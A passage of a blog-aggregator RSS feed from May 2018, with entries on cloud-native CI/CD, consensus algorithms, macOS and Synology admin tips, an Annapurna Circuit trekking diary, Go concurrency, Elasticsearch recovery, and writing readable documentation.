 Cloud Native is a new approach to build and run applications that can leverage the cloud computing delivery model. The objective is to improve speed and stability by optimizing the pipeline by leveraging Cloud Native model at each step, from coding to production, by making use of tools, such as containers and orchestrators, combined with additional tooling. As Cloud Native environments get more and more attraction, the tooling around these environments continue to evolve to fit the various needs.</description><author>Mustafa Akın</author><pubDate>Tue, 22 May 2018 16:03:29 GMT</pubDate><guid isPermaLink="true">/posts/2018-05-22-state-of-cloud-native-ci-cd-tools-for-kubernetes/</guid></item><item><title>A Hitchhiker’s Guide to Consensus Algorithms</title><link>https://ilearnt.com/blog/consensusalgorithms/</link><description>&lt;p&gt;This is a summary of a number of consensus algorithms currently being used in the Blockchain space. The most common at the moment is Proof of Work however this is slowly being replaced by other approaches that are more performant and don&amp;rsquo;t use all the Earth&amp;rsquo;s energy.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 22 May 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/consensusalgorithms/</guid></item><item><title>Show hidden files in Finder</title><link>https://xenodium.com/show-hidden-files-in-finder</link><description>&lt;pre&gt;&lt;code class="language-{.bash"&gt;defaults write com.apple.finder AppleShowAllFiles TRUE
killall Finder
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 22 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/show-hidden-files-in-finder</guid></item><item><title>Ejecting USB drives on Synology</title><link>https://xenodium.com/ejecting-usb-drives-on-synology</link><description>&lt;p&gt;For posterity:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Control panel &amp;gt; External devices &amp;gt; USB Disk 1 &amp;gt; Eject&lt;/p&gt;
&lt;/blockquote&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 22 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/ejecting-usb-drives-on-synology</guid></item><item><title>Annapurna Circuit - Day 11: Thorung Phedi to Muktinath</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-11-muktinath/</link><description>&lt;h1&gt;The highest point of the trek at 5,400m and we're all feeling the altitude.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We pre ordered our breakfast the night before which included honey porridge at 4:00am and two hard boiled eggs to go. After packing and getting dressed, we ended up starting the hike at 5:00am. The route to High Camp is steep and takes about an hour. There is only one hotel at High Camp, so we stopped there to have a hot tea and change our clothes (I was hot). We spent about a half hour there before heading back out.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551465029/IMG_2768.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The part right after high camp was my favorite. The sky was still somewhat clear of clouds and we could see several beautiful peaks to the right of the path that were breathtaking. The path from here to the pass varied from flat sections to short steep sections. Looking at it from afar, it looked like the easiest walk ever, but the altitude made us feel extremely out of breath. We all looked like we had been weighted down at the feet. After about 2 hours we reached Thorung La Pass which is a building with a bunch of prayer flags next to it. Unfortunately, clouds had rolled in, and it started to snow, so we couldn’t see any views.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551465259/IMG_2794%20%281%29.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;After hugging everyone and eating some celebratory yak cheese, we began the very steep descent to Muktinath. It’s a 1700m (5,577 foot) descent which was rough on my knees and made me feel like an old grandma. The views were incredible, but it took all of us longer than we expected to get back down. We stopped at Chambar Bhu along the way and had a long lunch as our group all caught up with each other. We rested for about 2 hours, and then finished the gradual descent back down to Muktinath and arrived around 2:30pm.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551465305/IMG_2817.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The night before, we all decided to meet at the Bob Marley Hotel. When we arrived, we all celebrated with food, drinks, and a few games of pool. The atmosphere there is really nice with great music playing. The food was amazing, and I highly recommend the margherita pizza and apple pie. The hot showers were amazing, and my room was comfortable. The only downfall was that the WiFi didn’t work great. Otherwise, I probably would have stayed longer. A lot of people end their trek here and take a jeep or bus to Jomsom or Pokhara. We decided to continue on.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551465386/IMG_2828.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Tue, 22 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-11-muktinath/</guid></item><item><title>Go scope</title><link>https://www.danielcorin.com/posts/2018/2018-05-21-go-scope/</link><description>Go scope</description><author>Thought Eddies</author><pubDate>Tue, 22 May 2018 00:20:00 GMT</pubDate><guid isPermaLink="true">https://www.danielcorin.com/posts/2018/2018-05-21-go-scope/</guid></item><item><title>Recovering a Corrupted Elasticsearch 5.x/6.x Index Shard</title><link>https://grh.am/2018/recovering-a-corrupted-elasticsearch-index-shard/</link><description>&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;/em&gt; If you follow my process, you are pretty much guaranteed to lose data. Please think carefully before running any commands from this page.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A few days ago Elasticsearch died on one of my servers due to a lack of memory - One of my Python scripts interacting with a headless Chrome instance forgot a close a few tabs&amp;hellip; a lesson for another day.&lt;/p&gt;
&lt;p&gt;So, a few &lt;code&gt;pkill&lt;/code&gt;s &amp;amp; a &lt;code&gt;systemctl start elasticsearch&lt;/code&gt; later, my node was back up and running, but he wasn&amp;rsquo;t looking too healthy - I had an unassigned shard for one of my indices.&lt;/p&gt;</description><author>Graham Stevens – Grh.am</author><pubDate>Mon, 21 May 2018 18:18:32 GMT</pubDate><guid isPermaLink="true">https://grh.am/2018/recovering-a-corrupted-elasticsearch-index-shard/</guid></item><item><title>Reality Driven Development</title><link>https://www.brightball.com/articles/reality-driven-development-fixing-project-management-in-software</link><description>Not a lot of people know this about me, but I've almost exited programming at three different times in my career...because I wanted to get into project management at a high level. Ever since my first project management class in grad school, it just made sense to me...but after about 15 years in software it doesn't anymore. Let me explain how to fix it.</description><author>Brightball Articles</author><pubDate>Mon, 21 May 2018 13:11:02 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/reality-driven-development-fixing-project-management-in-software</guid></item><item><title>Remounting Synology encrypted share</title><link>https://xenodium.com/remounting-synology-encrypted-share</link><description>&lt;p&gt;Had been a while since I did this… for posterity:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Control panel &amp;gt; Shared Folder &amp;gt; Encryption &amp;gt; Mount&lt;/p&gt;
&lt;/blockquote&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 21 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/remounting-synology-encrypted-share</guid></item><item><title>Annapurna Circuit - Day 10: Yak Kharka to Thorung Phedi</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-10-thorung-phedi/</link><description>&lt;h1&gt;The trail starts getting really tough as the elevation increases towards the pass.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yak Kharka literally means yak shed, so you’ll see a ton of yaks being herded to the fields beyond the town. On the way to Ledar we passed all the herders heading out in the morning in what felt like the most authentic part of the trek. The hike was easy and takes less than an hour with a gradual incline up 150m (492 feet). To the right is an incredible view of Chulu West.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551464817/IMG_2751.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;After Ledar, the path evens out for a while. When it splits, stay to the left heading towards the river and again take the path to the left at the second fork towards the suspension bridge. We took the path to the right which goes all the way down to the river and back up a steep incline, making it a harder route even though it ends up in the same place. At the top is an adorable little tea house. The lady inside and her fat little dog are amazing. She advised us to be careful ahead because there was a landslide zone and blue sheep walk along the ridge knocking down loose stones.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551464874/IMG_2765.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Along the land slide, we do see blue sheep running along the ridge and grazing in the grass. I wait for them all to pass before proceeding to ensure that no rocks fall down. This area has a pretty wide path compared to other areas on the trail, so it’s not as scary as the Tilicho Lake side trek.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551464760/IMG_2775.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;When we arrived at Yak Kharka, it started to snow. We had originally planned to try to make it to High Camp, but I had a small headache so we decided to stay lower to acclimate. I heard the one hour from Yak Kharka made going over the pass harder. Half of our group went to High Camp and half stayed behind. Friends told me High Camp was freezing cold, the facilities weren’t great, and they didn’t sleep at altitude.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551465186/IMG_2772.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;On the other hand, we stayed at the Thorong Base Camp Lodge where we had people playing guitar, dancing, doing yoga, playing high altitude chess, and a Jenga competition that took hours to complete and got insanely intense. We had to walk further in the morning, but we had an incredible time staying in a warm lodge with fun games to keep us busy. It was one of my favorite nights of the trek, so I highly recommend stopping in Thorung Phedi.&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Mon, 21 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-10-thorung-phedi/</guid></item><item><title>A new sync primitive in golang</title><link>https://purpleidea.com/blog/2018/05/20/a-new-sync-primitive-in-golang/</link><description>&lt;p&gt;I&amp;rsquo;ve been working on lots of new stuff in &lt;a href="https://github.com/purpleidea/mgmt/"&gt;mgmt&lt;/a&gt;
and I had a synchronization problem that needed solving&amp;hellip; Long story short, I
built it into a piece of re-usable functionality, exactly like you might find in
the &lt;em&gt;&lt;a href="https://golang.org/pkg/sync/"&gt;sync&lt;/a&gt;&lt;/em&gt; package. For details and examples,
please continue reading&amp;hellip;&lt;/p&gt;


&lt;br /&gt;&lt;span style="text-decoration: underline; font-weight: bold;"&gt;The Problem&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;

&lt;p&gt;I want to multicast a signal to an arbitrary number of goroutines. As you might
already know, this can already be done with a &lt;code&gt;chan struct{}&lt;/code&gt;. You simply
&lt;code&gt;close&lt;/code&gt; the channel to send the signal, and anyone running a &lt;code&gt;select&lt;/code&gt; on that
channel will return when it closes.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Mon, 21 May 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2018/05/20/a-new-sync-primitive-in-golang/</guid></item><item><title>Y: The Most Beautiful Idea in Computer Science explained in JavaScript</title><link>https://lucasfcosta.com/blog/Y-The-Most-Beautiful-Idea-in-Computer-Science/</link><description>In this post, we will talk about one of the most beautiful ideas in computer science: the Y-Combinator. And no, I'm not talking about the VC firm in Silicon Valley, even though this post will explain...</description><author>Lucas F. Costa - Blog</author><pubDate>Sun, 20 May 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://lucasfcosta.com/blog/Y-The-Most-Beautiful-Idea-in-Computer-Science/</guid></item><item><title>Synology user had no home</title><link>https://xenodium.com/synology-user-had-no-home</link><description>&lt;p&gt;Upon ssh'ing to a Synology box, the user had no home.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Could not chdir to home directory /var/services/homes/someone: No such file or directory&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Fixed via:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Control Panel &amp;gt; User &amp;gt; Advanced &amp;gt; User Home &amp;gt; [x] Enable user home service&lt;/p&gt;
&lt;/blockquote&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 20 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/synology-user-had-no-home</guid></item><item><title>Annapurna Circuit - Day 9: Manang to Yak Kharka</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-9-yak-kharka/</link><description>&lt;h1&gt;My favourite evening of the whole trek in Yak Kharka, as snow starts falling.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551464484/IMG_2746%20%281%29.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;To leave Manang, you’ll need to pass an ACAP check post to show your permits. After that, follow the main path and the signs pointing to Thorung La until you are out of the village. Once you leave, you’ll see the road split and the sign will point you to the right. The trail is easy to follow and looks more like a road. It has a gradual incline all the way to Gunsang where we stopped to have a cup of tea at the Chullu West Hotel on the left. From here you can see Ganggapurna. It took us about an hour and fifteen minutes to arrive here.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551464539/IMG_2740.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;After Ganggapurna, it’s an easy and beautiful trek to Yak Kharka. We honestly could have continued onto the next town which is close by, but we fell in love with the teahouse we choose to have lunch at. The Ganggapurna Hotel has the cutest little dining area at the front and it has good WiFi, gas showers, and electricity (while the rest of the town’s power was out.) We got the room and WiFi for free in exchange for eating lots of food there. Hot showers were $2, but I heard they weren’t that great so I skipped one.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551464611/IMG_2742.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Sun, 20 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-9-yak-kharka/</guid></item><item><title>Proposal: replace online advertising with microformats for ads</title><link>https://stop.zona-m.net/2018/05/proposal-replace-online-advertising-with-microformats-for-ads/</link><description>&lt;p&gt;Here&amp;rsquo;s a tiny proposal, albeit VERY likely NOT original, to solve a big digital issue of our time.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 19 May 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/proposal-replace-online-advertising-with-microformats-for-ads/</guid></item><item><title>Annapurna Circuit - Day 8: Braka to Manang</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-8-manang/</link><description>&lt;h1&gt;The mysterious hidden cave of Milarepa eludes us, as we take a well needed rest day in Braka.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We spent a day in Braka to acclimate. The best way to acclimate is to walk high and sleep low. There are two popular side treks that start in Braka. Ice Lake goes up to 4,600m and offers spectacular views, but I’ve heard that the lake itself is nothing special. We decided to do Milarepa’s Cave which is at 4,250m. The cave was extremely hard to find and marked incorrectly on maps, so we ended up seeing two other “caves” instead. That being said, it offers incredible views in almost every direction. You can check out this post on Milarepa’s Cave for more details.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551464320/IMG_2616.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;One of our friends walked to Manang (an extra 40 mins) in the afternoon. I would recommend doing this because Manang has a lot to offer as far as food and comfort. There’s even a small movie theater where I would recommend seeing the movie Caravan (a Nepali favorite). I also recommend stocking up on yak cheese or any trekking items you might need before going over the pass. After a side trek to Tilicho, we went through Manang and stayed at Hotel Yeti which had a bakery, gas shower, clean rooms, and good food.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551464366/IMG_2610.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Sat, 19 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-8-manang/</guid></item><item><title>My Performance &amp;amp; Troubleshooting scripts (TPT) for Oracle are now in GitHub and open sourced</title><link>https://tanelpoder.com/2018/05/18/my-performance-troubleshooting-scripts-tpt-for-oracle-are-now-in-github-and-open-sourced/</link><description>&lt;p&gt;I have uploaded my &lt;strong&gt;TPT-oracle&lt;/strong&gt; scripts to GitHub and have formally open sourced them under Apache 2.0 license as well. This allows companies to embed this software in their toolsets and processes &amp;amp; distribute them without a worry from legal departments.&lt;/p&gt;
&lt;p&gt;The repository is here:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/tanelpoder/tpt-oracle" rel="noopener" target="_blank"&gt;&lt;a href="https://github.com/tanelpoder/tpt-oracle"&gt;https://github.com/tanelpoder/tpt-oracle&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now you can “git clone” this repository once and just “git pull” every now and then to see what updates &amp;amp; fixes I have made.&lt;/p&gt;</description><author>Tanel Poder Blog</author><pubDate>Fri, 18 May 2018 23:13:22 GMT</pubDate><guid isPermaLink="true">https://tanelpoder.com/2018/05/18/my-performance-troubleshooting-scripts-tpt-for-oracle-are-now-in-github-and-open-sourced/</guid></item><item><title>Exposition</title><link>https://rybakov.com/blog/exposition/</link><description>&lt;p&gt;&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="exposition" loop="true" poster="/video/exposition/exposition.jpg"&gt;
      &lt;source src="../video/exposition/exposition.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="expositionbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="expositionpaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Exposition&lt;/em&gt; is the process of arriving in a movie, arriving at the characters&amp;rsquo; vantage point, arriving in their space.&lt;/p&gt;
&lt;p&gt;I shot this short film with Mira and Matina in August 2015, and I really like it for its &lt;em&gt;exposition through insignificance&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The film starts with unimportant movements, movements that carry no meaning, and since there&amp;rsquo;s no significance to be &amp;lsquo;understood&amp;rsquo;, the viewers search for meaning continues.
It plays with the relationship of the protagonists without explaining, and in the end, when we arrived, when we are ready, when we are invested in the characters, it just ends.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Fri, 18 May 2018 13:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/exposition/</guid></item><item><title>Annapurna Circuit - Day 7: Upper Pisang to Braka</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-7-braka/</link><description>&lt;h1&gt;An amazing day hiking to Pisang as we start to get glimpses of the Annapurna range.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Our guesthouse owner directed us toward the path to Manang. It starts out nice and gentle with beautiful views of the mountains to the left. The path remains almost flat for an hour and then you hit a steep incline. Make sure to stay on the trekking trail (by crossing the suspension bridge) and not the road. The trail is steeper but the road is much longer. At the top of the hill is a small tea shop which is the perfect place to stop and catch your breath. The owner is a sweet little old lady who has all kinds of goodies. Just another ten minutes up the road you’ll be greeted by a woman selling fresh apple pie for 100 rupees ($1) and amazingly delicious yak cheese! We sat there for an hour by the pagoda just enjoying the views with a group of other trekkers.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551006985/IMG_2529%20%282%29.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;After the tea break, you’ll walk through the beautiful village of Ghyaru. Most of the homes are made out of stone and the small narrow alleyways are gorgeous. After leaving town, there’s a bit more uphill and then the trail evens out and it’s a beautiful walk to Ngawal. The Ngawal Mountain House is the perfect place for lunch. It has the cleanest kitchen I’ve seen trekking and one of the nicest bathrooms I’ve seen in Nepal. We debated staying here, but in the end decided to stick to our plan. The rooms here are between $5 and $25 a night, but look very posh.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551463363/IMG_2519.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;From Ngawal, it’s a gentle incline along the road with just a few hills. We decided to take the easier route on the map (to the left) since the morning was so exhausting. You’ll pass through a few small villages and then arrive in beautiful Braka. We stayed at the very nice New Yak Hotel which is one of the first ones in town. We arrived late in the afternoon and since it’s off season, we managed to get the room for free. They have beautiful clean rooms and a very hot gas shower.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551463693/IMG_2600%20%281%29.jpg" /&gt;&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Fri, 18 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-7-braka/</guid></item><item><title>Writing to be read</title><link>http://notes.eatonphil.com/writing-to-be-read.html</link><description>&lt;p&gt;There is a common struggle in the writing and maintenance of
documentation, checklists, emails, guides, etc. Each provides immense
value; a document may be the key to an important process. The goal is
to remove barriers -- to encourage understanding and correct
application of what has been noted -- without requiring a change in
the character of the reader. That is, expect reading to be difficult
and people to be lazy. &lt;strong&gt;Don't make things harder for your reader than
need be.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ignoring imperfections in the &lt;em&gt;ideas&lt;/em&gt; transcribed into writing, there
are a few particular aesthetic approaches I take to (hopefully) make
my notes more effective. These ideas have been influenced by readings
on writing, psychology, and user experience. In particular, I
recommend
&lt;a href="https://amzn.to/2rT0dsE"&gt;On Writing Well&lt;/a&gt;,
&lt;a href="https://amzn.to/2IttNAl"&gt;Thinking Fast and Slow&lt;/a&gt;,
and &lt;a href="https://www.nngroup.com/"&gt;Nielsen Norman&lt;/a&gt; research.&lt;/p&gt;
&lt;h3 id="language-correctness"&gt;Language correctness&lt;/h3&gt;&lt;p&gt;Spelling and grammatical correctness are low hanging fruit. They are
easy to achieve. Use full sentences, use punctuation, and capitalize
appropriately. But don't be a grammar stickler unreasonably; language
is flexible and always changing. Don't allow anyone the opportunity to
take your work less seriously by screwing up the basics.&lt;/p&gt;
&lt;h3 id="structuring-sentences-and-paragraphs"&gt;Structuring sentences and paragraphs&lt;/h3&gt;&lt;p&gt;Keep your sentences short. And avoid run on sentences; they are always
difficult to parse. If you use more than two commas in a sentences
(aside from in lists), the sentence is terrible. Split it up. Commas
are often used superfluously. Don't do that.&lt;/p&gt;
&lt;p&gt;Remember that if a comma separates two sentences, you can separate
them into two sentences with a period instead. And if you ever have a
list containing another list, separate the outer list with semi colons
instead of commas to provide better differentiation.&lt;/p&gt;
&lt;p&gt;Keep your paragraphs short too. In primary school you may have learned
to use 5-8 sentences per paragraph. Don't do so needlessly. 3-5
sentences can be perfectly appropriate. As both sentences and
paragraphs get longer, they appear more intimidating and can
discourage readers from continuing.&lt;/p&gt;
&lt;div class="note"&gt;
  &lt;header class="note-header"&gt;Visually speaking&lt;/header&gt;
  &lt;p&gt;
    Make your line height
    &lt;a href="https://practicaltypography.com/line-spacing.html"&gt;120-145%&lt;/a&gt;
    the height of the font. Increase the spacing between lines in a
    paragraph to make the paragraph less dense and more friendly.
  &lt;/p&gt;
  &lt;p&gt;
    Keep contrast high. Don't put very gray (or colored) text on a
    white background.
  &lt;/p&gt;
  &lt;p&gt;
    Additionally, a number of studies suggest that limiting the width
    of text increases readability. For best results, limit the width
    such
    that &lt;a href="https://baymard.com/blog/line-length-readability"&gt;50-75
    characters&lt;/a&gt; appear per line of text.
  &lt;/p&gt;
&lt;/div&gt;&lt;h4 id="don't-put-checklists-in-paragraphs"&gt;Don't put checklists in paragraphs&lt;/h4&gt;&lt;p&gt;If a document describes concrete steps that should be followed exactly
and can be reasonably summarized, don't hide the steps within
paragraphs of text. Instead use an ordered or unordered list to
clearly enumerate the expectations. &lt;strong&gt;You can't expect a checklist to
be followed when it is hidden within the sentences of a paragraph.&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="structuring-sections"&gt;Structuring sections&lt;/h3&gt;&lt;p&gt;Any document (regardless the type) longer than 3-5 paragraphs should
be broken into sub-sections with summarizing headers to aid
scanning. Use the HTML &lt;code&gt;id&lt;/code&gt; attribute to allow a direct link to a
particular section in a long page. If the page has more than two
sections or vertically flows beyond a single screen, consider adding a
table of contents at the top of the page to allow the reader to find
the exact section she needs.&lt;/p&gt;
&lt;div class="note"&gt;
  &lt;header class="note-header"&gt;Visually speaking&lt;/header&gt;
  &lt;p&gt;
    Don't put large headers immediately next to each other. It is
    disruptive to have multiple lines of large text.
  &lt;/p&gt;
  &lt;p&gt;
    I almost completely avoid Github Markdown's h1/# tag because it is
    just too large and jarring relative to the rest of the text. It is
    often best for the flow of a Github Markdown document to stick to
    only h3-h4/###-#### tags for headers, using the h2/## tag for the
    document title.
  &lt;/p&gt;
&lt;/div&gt;&lt;h3 id="in-summary"&gt;In summary&lt;/h3&gt;&lt;p&gt;The aesthetic flow of a document can help or hurt the experience of a
reader consuming it. Good aesthetic "sense" in this regard can be
boiled down to a few methods that primarily revolve around simplifying
structure and facilitating the rewarding feeling of progress as a
reader reads.&lt;/p&gt;
&lt;p&gt;Writing is difficult and takes time to evolve helpfully. The dividends
are paid when process is better followed and questions are readily
clarified in writing without further human intervention. It is
incumbent on those writing and maintaining to organize effectively and
see confusion of the reader as fault of the document, not fault of the
reader. It is easier to change something yourself than to expect
